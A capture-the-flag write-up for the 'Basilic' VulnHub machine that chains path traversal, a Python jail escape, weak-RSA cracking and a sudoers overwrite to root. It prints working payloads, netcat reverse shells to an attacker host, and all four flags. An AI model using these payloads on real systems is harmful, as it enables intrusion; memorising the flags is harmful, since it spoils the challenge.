NorzhCTF 2019 : Basilic
Challenge details
Event | Challenge | Category | Author |
---|---|---|---|
NorzhCTF 2019 | Basilic | Pentest | DrStache |
Download : VulnHub
Description
A Python developer has put a website online. Your goal is to compromise the different users of the server and gain root privileges.
There are 4 flags to retrieve, they are in md5 format.
- Flag 1: “Persistence is the path to success.” - Charlie Chaplin
- Flag 2: “You can always escape from a prison. But freedom?” - Jean-Christophe Grangé
- Flag 3: “The future is a door, the past is the key.” - Victor Hugo
- Flag 4: “There is no less blame for concealing a truth than for falsifying a lie.” - Etienne Pasquier
Difficulty: Intermediate / Hard Categories: Web, Jail, Crypto, PrivEsc
Web
Enumeration
On the server, only two ports are open, the ssh and a web server on the 5000 port.
There are two pages on it. Nothing very interesting, except for an RSA private key, we get it back for later.
-----BEGIN PUBLIC KEY-----
MD0wDQYJKoZIhvcNAQEBBQADLAAwKQIieHh4eHh4eHh4eHh4eHh4d4eHjw8PDw8P
Dw8PDw8PDw8PDwIDAQAB
-----END PUBLIC KEY-----
Stack Trace Python
After some tests, we find a python stack trace in the 404 page.
http://192.168.1.14:5000/x
/opt/webserver/basilic_dev_website.py : [Errno 2] No such file or directory: u'/opt/webserver/x'
Python seems to want to load the passed file into the URL path, x
does not exist and returns an error. The stack trace also gives us the full path of the application and the name of the script.
Path Traversal
By combining these two findings, we can read the script sources.
http://192.168.1.14:5000/basilic_dev_website.py
#/usr/bin/env python
# -*- coding:utf-8 -*-
# First flag : 905459d7e2dbb3c47ab947faed7b12b0
import os
from flask import Flask, request, jsonify, Response
app = Flask(__name__)
@app.route('/')
def index():
with open(os.getcwd() + '/index.html', 'r') as myfile:
return myfile.read()
@app.route('/<path:path>')
def load_page(path):
if path == 'json_calc':
x = request.query_string
g = {"__builtins__" : None} # Removing all builtins for security
l = {}
try:
exec(x, g, l)
return jsonify(l)
except Exception,e:
return jsonify({'error': str(e)})
else :
try:
with open(os.getcwd() + '/' + path, 'r') as myfile:
return myfile.read()
except Exception,e:
return Response(__file__ + ' : ' + str(e), status=404)
if __name__ == '__main__':
app.run(host= '0.0.0.0')
We now have access to the web server sources, as well as the first flag.
First flag : 905459d7e2dbb3c47ab947faed7b12b0
PyJail
Analysis
By analyzing the code, we find the endpoint json_calc
. It retrieves the GET parameters in an x
variable, evaluates them in a restricted environment {"__builtins__" : None}
, places the result of the execution in the l
dictionary and returns it in json format.
Let’s do some simple calculation tests.
http://192.168.1.14:5000/json_calc?x=1+1
{"x":2}
http://192.168.1.14:5000/json_calc?x=1+1;y=x+2
{"x":2,"y":4}
Our theory is validated, now, we will have to succeed in exploiting this endpoint in order to execute system commands.
Exploitation
The environment being restricted by {{"__builtins__" : None}
, it will be necessary to go further in order to have an RCE. We can use a WriteUp from the Breizh CTF to exploit this PyJail.
We start by listing the subclasses
.
http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()
{"error":"<type 'type'> is not JSON serializable"}
We can’t access it because of JSON serialization, but they are there. As it’s not directly possible to list them all, they will have to be listed one by one.
http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[2]()
{"error":"cannot create 'weakcallableproxy' instances"}
[...]
http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()
{"error":"catch_warnings() is not JSON serializable"}
Now that we have the catch_warnings
object, we will be able to continue the exploitation, in order to execute commands.
Be careful, it’s likely that the quotes generate errors, because of the URL encoding of the browsers. It is better to go through Burp, Wget, Curl…
wget "http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('id').read()" -O - 2>/dev/null
{"x":"uid=1001(python) gid=1001(python) groups=1001(python)\n"}
We quickly realize that the spaces in the command make it crash, it does not return an answer.
http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('ls -l').read()
{"x":""}
So we have to do it without them. To browse the file system, we will use os.listdir('/')
and the Path Traversal vulnerability to read the files, it’s also possible to use os.read(os.open('/etc/passwd',os.O_RDONLY),999999)
, but this is more constraining.
By listing the /home/python
folder, we find the secret.txt
file.
http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/python')
{"x":[".bashrc",".profile","s.bash_logout","secret.txt"]}
We download it.
http://192.168.1.14:5000/..%2f..%2f..%2fhome/python/secret.txt
Second flag : 5d5e3d9ee45cd8975c940b675d4cbc15
We get the second flag.
Second flag : 5d5e3d9ee45cd8975c940b675d4cbc15
Reverse shell
To simplify the task, it’s possible to set up a reverse shell, however being limited by spaces, it can be complex.
Here are two proposed solutions.
os.spawnl(1,'/bin/nc','nc','192.168.1.85','3615','-e','/bin/sh')
os.execv('/bin/nc',['/bin/nc','-e','/bin/bash','192.168.1.85','3615'])
Be careful, the use of execv
will create a new process that will replace the one of the python server, so the server will stop.
It’s possible to do the challenge without reverse shell, which is what I will do in the rest of this writeup.
Priv Esc
Basilic User
In the file /etc/passwd
, we find the user basilic
, let’s check the content of his home.
http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/basilic')
{"x":[".bash_logout",".bashrc","secret.txt",".profile",".encrypted_password"]}
.encrypted_password
seems interesting, we download it.
$ curl 'http://192.168.1.14:5000/..%2f..%2f..%2fhome/basilic/.encrypted_password' > encrypted_password
$ cat encrypted_password
E�g]������ZQe�n�Q7�x��e#)��|!w�
All right, we have reading rights on it. We end up with mush, the file seems well encrypted.
At first, when we visited the website, we retrieved a public RSA key, we’ll try to find his private key. To do this, we will use RsaCtfTool
.
$ ./RsaCtfTool.py --publickey basilic_pub.key --private
-----BEGIN RSA PRIVATE KEY-----
MIGvAgEAAiJ4eHh4eHh4eHh4eHh4eHh3h4ePDw8PDw8PDw8PDw8PDw8PAgMBAAEC
IgKCV9gCglfYAoJX2AKCV9f4ePX1oKD19aCg9fWgoPX1oKECEH//////////////
//////8CEwDw8PDw8PDw8PDw8PDw8PDw8PECEFVVqqpVVaqqVVWqqlVVqqkCEnDx
cPBw8XDwcPFw8HDxcPBw8QIQf/+8AAIf/+8AAIf/+8AAIQ==
-----END RSA PRIVATE KEY-----
The public key is vulnerable, we will now decrypt the encrypted_password
file.
$ ./RsaCtfTool.py --publickey basilic_pub.key --uncipherfile encrypted_password
[+] Clear text : b'\x00\x02\x8c\xf0\x0fB\xd3"\xe7||`)\x95\x00nevergonnagiveyouup'
There seems to be garbage at the beginning, but we notice the string nevergonnagiveyouup
at the end, from the file name, it must be a password. So we try to connect in SSH.
$ ssh basilic@192.168.1.14
nevergonnagiveyouup
$ id
uid=1000(basilic) gid=1000(basilic) groups=1000(basilic),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth)
We are now the basilic
user, which allows us to read the file /home/basilic/secret.txt
.
$ cat /home/basilic/secret.txt
Third flag : e1e0d24d7fed3745e19bb0f90a769ea0
We thus reach the third flag.
Third flag : e1e0d24d7fed3745e19bb0f90a769ea0
Root
Enumeration
Now that we are basilic
, we will have to pass root
. We start by analyzing the sudo rights.
$ sudo -l
(root) /usr/bin/python /opt/calc_test.py
This sounds interesting, we can run the script /opt/calc_test.py
as root
. Let’s check its content.
#!/usr/bin/python2
# coding: utf-8
import urllib
c = raw_input('Calc : ')
f = raw_input('Output file : ')
res = urllib.urlopen('http://127.0.0.1:5000/json_calc?x='+str(c)).read()
with open(f, 'w') as file:
file.write(res)
The script is quite simple, it asks us for a calculation and an output file. To perform the calculation, it will use the json_calc
endpoint of the python server, it will then place the result in the specified file.
Knowing that we can run this script as root
, we can write anywhere on the machine using the output file.
$ sudo /usr/bin/python /opt/calc_test.py
Calc : 1
Output file : /tmp/a
$ ls -l /tmp/a
-rw-r--r-- 1 root root 8 Nov 16 12:42 /tmp/a
$ cat /tmp/a
{"x":1}
But we don’t control the content that is placed there, we have to control the web server for this purpose.
Fortunately, our entry point on the machine was an RCE via this web server, so the code execution is done with the server rights, so it is possible to stop it via the RCE. Then launch our own web server with the basilic
user.
Exploitation 1
We retrieve the PID of the process and forge the payload in order to stop the server.
$ ps aux | grep python
python 332 0.0 4.4 615128 22288 ? Ss 11:05 0:01 /usr/bin/python /opt/webserver/basilic_dev_website.py
os.kill(332, os.SIGKILL)
http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').kill(332,().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('signal').SIGKILL)
After sending the payload, we check that the server is stopped.
$ ps aux | grep python
python 833 0.1 4.1 57544 20712 ? Ss 12:47 0:00 /usr/bin/python /opt/webserver/basilic_dev_website.py
Unfortunately, it has been relaunched, its PID has changed. We’re looking for anything that might have restarted it.
$ grep -r 'basilic_dev_website.py' / 2>/dev/null
/etc/systemd/system/pyserv.service:ExecStart=/usr/bin/python /opt/webserver/basilic_dev_website.py
Here is the content of the service configuration.
[Unit]
Description=Python Webserver
[Service]
type=simple
ExecStart=/usr/bin/python /opt/webserver/basilic_dev_website.py
User=python
Group=python
Restart=always
[Install]
WantedBy=multi-user.target
So it was systemd
that automatically restarted the server. If we want to launch our own server, we will have to launch it before systemd
restarts basilic_dev_website.py
.
In the systemd
man, we find this.
RestartSec=
Configures the time to sleep before restarting a service (as configured with Restart=). Takes a unit-less value in seconds, or a time span value such as "5min 20s". Defaults to 100ms.
So we now know that systemd
waits 100 ms before restarting the service, which gives us a good time frame to start our server.
Here is the command we use to exploit this race condition. It moves the user into his home, use the payload to kill the server process and starts a SimpleHTTPServer
without waiting to receive the response from the web server.
$ cd; wget "http://192.168.1.14:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').kill(833,().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('signal').SIGKILL)" -O - 2>/dev/null & python -m SimpleHTTPServer 5000
When we visit the web server, it’s now the content of the basilic
user home.
$ curl http://192.168.1.14:5000
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href=".bash_history">.bash_history</a>
<li><a href=".bash_logout">.bash_logout</a>
<li><a href=".bashrc">.bashrc</a>
<li><a href=".encrypted_password">.encrypted_password</a>
<li><a href=".profile">.profile</a>
<li><a href="secret.txt">secret.txt</a>
</ul>
<hr>
</body>
</html>
Now that we control the web server, we will be able to write anything, anywhere.
The calc_test.py
script will retrieve the response from the json_calc
endpoint, so we will create a file of the same name in the home and place content in.
We do a simple test to see if it works.
$ echo 'test' > json_calc
$ sudo /usr/bin/python /opt/calc_test.py
Calc : 1
Output file : /tmp/xxx
$ cat /tmp/xxx
test
$ ls -l /tmp/xxx
-rw-r--r-- 1 root root 5 Nov 16 13:00 /tmp/xxx
$ cat /tmp/xxx
test
All right, we’re close. All that remains is to choose which file to rewrite, we choose /etc/sudoers
.
$ echo 'basilic ALL=(ALL:ALL) ALL' > json_calc
$ sudo /usr/bin/python /opt/calc_test.py
Calc : 1
Output file : /etc/sudoers
$ sudo -l
(ALL : ALL) ALL
$ sudo su
$ id
uid=0(root) gid=0(root) groups=0(root)
Finally root
. We can now retrieve the last flag.
$ cat /root/root.txt
Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb
Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb
Exploitation 2
The second method of privilege escalation is similar, but instead of creating our own server, we will modify the existing one. The server file, /opt/webserver/basilic_dev_website.py
belongs to the user python
, so we can modify its content via the PyJail or the reverse shell, for simplicity, we will use the reverse shell.
$ cat basilic_dev_website.py
[...]
return jsonify(l)
[...]
$ sed -i -e 's/jsonify(l)/"basilic ALL=(ALL:ALL) ALL"/' basilic_dev_website.py
$ cat basilic_dev_website.py
[...]
return "basilic ALL=(ALL:ALL) ALL"
[...]
The server is well modified, but it must be restarted for this to be taken into account.
$ ps aux | grep python
python 311 0.1 4.1 131272 20728 ? Ss 10:19 0:00 /usr/bin/python /opt/webserver/basilic_dev_website.py
$ kill 311
The python server has been stopped, so our reverse shell dropped. Systemd automatically restarts the service.
$ curl http://192.168.1.14:5000/json_calc?x=1
basilic ALL=(ALL:ALL) ALL
Now, all we have to do is to sudo
the script /opt/calc_test.py
.
$ sudo /usr/bin/python /opt/calc_test.py
Calc : 1
Output file : /etc/sudoers
$ sudo -l
(ALL : ALL) ALL
$ sudo su
$ id
uid=0(root) gid=0(root) groups=0(root)
We can now read the last flag.
$ cat /root/root.txt
Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb
Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb